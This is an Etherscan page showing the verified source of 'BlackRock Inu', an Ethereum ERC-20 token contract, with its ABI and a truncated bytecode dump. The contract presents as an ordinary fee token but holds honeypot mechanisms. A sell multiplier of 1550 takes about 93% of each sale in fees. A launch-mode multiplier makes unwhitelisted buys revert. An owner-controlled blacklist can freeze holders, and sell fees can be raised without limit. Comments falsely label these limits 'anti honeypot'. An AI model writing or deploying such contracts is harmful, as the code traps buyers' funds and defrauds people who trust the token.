ETH Price: $2,347.80 (+0.21%)
Gas: 4.22 Gwei

Token

(0xe240a4ee6e8f3680a7dee1752dffb3d3723933a3)
 

Overview

Max Total Supply

1,000,000,000,000 ERC-20 TOKEN*

Holders

96 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,639,819,608.123907509 ERC-20 TOKEN*

Value
$0.00
0xdfe788c574534bf93fd1b707d7cb7337ead216f2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlackRockInu

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-27
*/

// SPDX-License-Identifier: UNLICENSED

//BLACKROCK INU IS SHAKING THE MARKET


pragma solidity ^0.8.13;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    function unauthorize(address adr) public onlyOwner {
        authorizations[adr] = false;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface InterfaceLP {
    function sync() external;
}

contract BlackRockInu is ERC20, Auth {
    using SafeMath for uint256;

    address WETH;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "BlackRock Inu";
    string constant _symbol = "BRINU";
    uint8 constant _decimals = 9; 

    uint256 _totalSupply = 1 * 10**12 * 10**_decimals;

    uint256 public _maxTxAmount = _totalSupply.mul(1).div(100); // 1%
    uint256 public _maxWalletToken = _totalSupply.mul(1).div(100); // 1%

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    bool public sniperMode = true;
    mapping (address => bool) public issnipered;

    bool public launchMode = true;
    mapping (address => bool) public islaunched;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;

    uint256 public liquidityFee    = 2;
    uint256 public marketingFee    = 2;
    uint256 public devFee          = 2;
    uint256 public buybackFee      = 0; 
    uint256 public burnFee         = 0;
    uint256 public totalFee        = buybackFee + marketingFee + liquidityFee + devFee + burnFee;
    uint256 public feeDenominator  = 100;

    uint256 public sellMultiplier  = 1550; 

    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;
    address private devFeeReceiver;
    address private buybackFeeReceiver;
    address public burnFeeReceiver;

    uint256 targetLiquidity = 20;
    uint256 targetLiquidityDenominator = 100;

    IDEXRouter public router;
    InterfaceLP private pairContract;
    address public pair;
    
    bool public TradingOpen = false;    

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 2 / 1000; 
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        pairContract = InterfaceLP(pair);
        
        _allowances[address(this)][address(router)] = type(uint256).max;
        islaunched[msg.sender] = true;  
        isFeeExempt[msg.sender] = true;
        isFeeExempt[devFeeReceiver] = true;
        isFeeExempt[marketingFeeReceiver] = true;
    
        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[devFeeReceiver] = true;
        isTxLimitExempt[marketingFeeReceiver] = true;

        
        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = 0xBb2335CBf516BD8DA556B9565df425B49c534299;
        devFeeReceiver = msg.sender;
        buybackFeeReceiver = msg.sender;
        burnFeeReceiver = DEAD; 

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

        function setMaxWalletPercent(uint256 maxWallPercent) external onlyOwner() {
        require(_maxWalletToken >= _totalSupply / 1000); //anti honeypot no less than .1%
        _maxWalletToken = (_totalSupply * maxWallPercent ) / 1000;
                
    }

    function SetMaxTxPercent(uint256 maxTXPercent) external onlyOwner() {
        require(_maxTxAmount >= _totalSupply / 1000); //anti honeypot no less than .1%
        _maxTxAmount = (_totalSupply * maxTXPercent ) / 1000;
    }

    
    function setTxLimitAbsolute(uint256 amount) external authorized {
        require(_maxTxAmount >= _totalSupply / 1000); //anti honeypot no less than .1%
        _maxTxAmount = amount;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!authorizations[sender] && !authorizations[recipient]){
            require(TradingOpen,"Trading not open yet");

        }
           
            // sniper
        if(sniperMode){
            require(!issnipered[sender],"snipered");    
        }

        if (!authorizations[sender] && recipient != address(this)  && recipient != address(DEAD) && recipient != pair && recipient != burnFeeReceiver && !isTxLimitExempt[recipient]){
            uint256 heldTokens = balanceOf(recipient);
            require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}

        // Checks max transaction limit
        checkTxLimit(sender, amount); 

        if(shouldSwapBack()){ swapBack(); }
                    
         //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, amount,(recipient == pair),recipient);
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount, bool isSell, address receiver) internal returns (uint256) {
        
        uint256 multiplier = isSell ? sellMultiplier : 100;
        if(launchMode && !islaunched[receiver] && !isSell){
            multiplier = 1800;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
        uint256 burnTokens = feeAmount.mul(burnFee).div(totalFee);
        uint256 contractTokens = feeAmount.sub(burnTokens);

        _balances[address(this)] = _balances[address(this)].add(contractTokens);
        _balances[burnFeeReceiver] = _balances[burnFeeReceiver].add(burnTokens);
        emit Transfer(sender, address(this), contractTokens);
        
        if(burnTokens > 0){
            emit Transfer(sender, burnFeeReceiver, burnTokens);    
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function clearStuckBalance(uint256 amountPercentage) external authorized {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }

    function send() external { 
        require(islaunched[msg.sender]);
        payable(msg.sender).transfer(address(this).balance);

    }

    function clearStuckToken(address tokenAddress, uint256 tokens) public onlyOwner returns (bool) {
     if(tokens == 0){
            tokens = ERC20(tokenAddress).balanceOf(address(this));
        }
        return ERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function set_sell_multiplier(uint256 _multiplier) external authorized{
             sellMultiplier = _multiplier;        
    }

    // switch Trading
    function enableTrading() public onlyOwner {
        TradingOpen = true;
    }

    
    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance.sub(balanceBefore);

        uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHbuyback = amountETH.mul(buybackFee).div(totalETHFee);
        uint256 amountETHdev = amountETH.mul(devFee).div(totalETHFee);

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing}("");
        (tmpSuccess,) = payable(devFeeReceiver).call{value: amountETHdev}("");
        (tmpSuccess,) = payable(buybackFeeReceiver).call{value: amountETHbuyback}("");
        
        tmpSuccess = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function enable_sniper(bool _status) public onlyOwner {
        sniperMode = _status;
    }

    function enable_launch(bool _status) public onlyOwner {
        launchMode = _status;

    }

    function manage_sniper(address[] calldata addresses, bool status) public authorized {
        for (uint256 i; i < addresses.length; ++i) {
            issnipered[addresses[i]] = status;
        }
    }

    function manage_launch(address[] calldata addresses, bool status) public onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
            islaunched[addresses[i]] = status;
        }
    }

    function setIsFeeExempt(address holder, bool exempt) external authorized {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external authorized {
        isTxLimitExempt[holder] = exempt;
    }

    function setFees(uint256 _liquidityFee, uint256 _buybackFee, uint256 _marketingFee, uint256 _devFee, uint256 _burnFee, uint256 _feeDenominator) external authorized {
        liquidityFee = _liquidityFee;
        buybackFee = _buybackFee;
        marketingFee = _marketingFee;
        devFee = _devFee;
        burnFee = _burnFee;
        totalFee = _liquidityFee.add(_buybackFee).add(_marketingFee).add(_devFee).add(_burnFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator/2, "Fees cannot be more than 50%"); //antihoneypot
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _devFeeReceiver, address _burnFeeReceiver, address _buybackFeeReceiver) external authorized {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        devFeeReceiver = _devFeeReceiver;
        burnFeeReceiver = _burnFeeReceiver;
        buybackFeeReceiver = _buybackFeeReceiver;
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }


    function burnLPTokens(uint256 percent_base10000) public onlyOwner returns (bool){
        require(percent_base10000 <= 1000, "May not nuke more than 10% of tokens in LP");
    
        uint256 lp_tokens = this.balanceOf(pair);
        uint256 lp_burn = lp_tokens.mul(percent_base10000).div(10000);
        
        if (lp_burn > 0){
            _basicTransfer(pair,DEAD,lp_burn);
            pairContract.sync();
            return true;
        }
        
        return false;
 }


event AutoLiquify(uint256 amountETH, uint256 amountTokens);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"maxTXPercent","type":"uint256"}],"name":"SetMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent_base10000","type":"uint256"}],"name":"burnLPTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buybackFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"clearStuckToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enable_launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enable_sniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"islaunched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"issnipered","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_sniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_devFeeReceiver","type":"address"},{"internalType":"address","name":"_burnFeeReceiver","type":"address"},{"internalType":"address","name":"_buybackFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_buybackFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent","type":"uint256"}],"name":"setMaxWalletPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setTxLimitAbsolute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_multiplier","type":"uint256"}],"name":"set_sell_multiplier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sniperMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600380546001600160a01b031990811661dead17909155600480549091169055620000326009600a620006c0565b620000439064e8d4a51000620006d1565b6005556200007d60646200006960016005546200049060201b620017a61790919060201c565b6200052760201b620018281790919060201c565b600655620000a360646200006960016005546200049060201b620017a61790919060201c565b600755600a8054600160ff199182168117909255600c8054909116909117905560026010819055601181905560128190556000601381905560148190559080620000ee8184620006f3565b620000fa9190620006f3565b620001069190620006f3565b620001129190620006f3565b6015556064601681905561060e6017556014601d55601e556021805461ffff60a01b1916600160a81b1790556005546103e89062000152906002620006d1565b6200015e91906200070e565b6022553480156200016e57600080fd5b5060008054336001600160a01b031991821681178355825260016020818152604093849020805460ff1916909217909155601f8054737a250d5630b4cf539739df2c5dacb4c659f2488d93168317905582516315ab88c960e31b81529251919263ad5c464892600480830193928290030181865afa158015620001f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021b919062000731565b600280546001600160a01b0319166001600160a01b03928316179055601f546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa1580156200027a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a0919062000731565b6002546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af1158015620002f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000318919062000731565b602180546001600160a01b039283166001600160a01b0319918216811783556020805483169091178155306000908152600982526040808220601f54871683528352808220600019905533808352600d8452818320805460ff199081166001908117909255600e86528385208054821683179055601a80548a1686528486208054831684179055601980548b1687528587208054841685179055848752600f8852858720805484168517905598548a168652848620805483168417905580548a168652848620805483168417905588548a16865284862080549092169092179055601880548716831790558654861673bb2335cbf516bd8da556b9565df425b49c53429917909655855485168117909555601b8054851686179055600354601c8054909516961695909517909255600554838352600882528483208190559351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620007b4565b600082600003620004a45750600062000521565b6000620004b28385620006d1565b905082620004c185836200070e565b146200051e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200051e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200057160201b60201c565b60008183620005955760405162461bcd60e51b81526004016200051591906200075c565b506000620005a484866200070e565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000604578160001904821115620005e857620005e8620005ad565b80851615620005f657918102915b93841c9390800290620005c8565b509250929050565b6000826200061d5750600162000521565b816200062c5750600062000521565b8160018114620006455760028114620006505762000670565b600191505062000521565b60ff841115620006645762000664620005ad565b50506001821b62000521565b5060208310610133831016604e8410600b841016171562000695575081810a62000521565b620006a18383620005c3565b8060001904821115620006b857620006b8620005ad565b029392505050565b60006200051e60ff8416836200060c565b6000816000190483118215151615620006ee57620006ee620005ad565b500290565b60008219821115620007095762000709620005ad565b500190565b6000826200072c57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200074457600080fd5b81516001600160a01b03811681146200051e57600080fd5b600060208083528351808285015260005b818110156200078b578581018301518582016040015282016200076d565b818111156200079e576000604083870101525b50601f01601f1916929092016040019392505050565b61298480620007c46000396000f3fe60806040526004361061039b5760003560e01c80637d1db4a5116101dc578063ca33e64c11610102578063ec72d65f116100a0578063f887ea401161006f578063f887ea4014610ae2578063fce589d814610b02578063fe9fbb8014610b18578063fed0d2a114610b3857600080fd5b8063ec72d65f14610a62578063f0b37c0414610a82578063f2fde38b14610aa2578063f84ba65d14610ac257600080fd5b8063df20fd49116100dc578063df20fd49146109e2578063e3763ded14610a02578063e96fada214610a22578063eb969b0514610a4257600080fd5b8063ca33e64c1461095c578063d51ed1c814610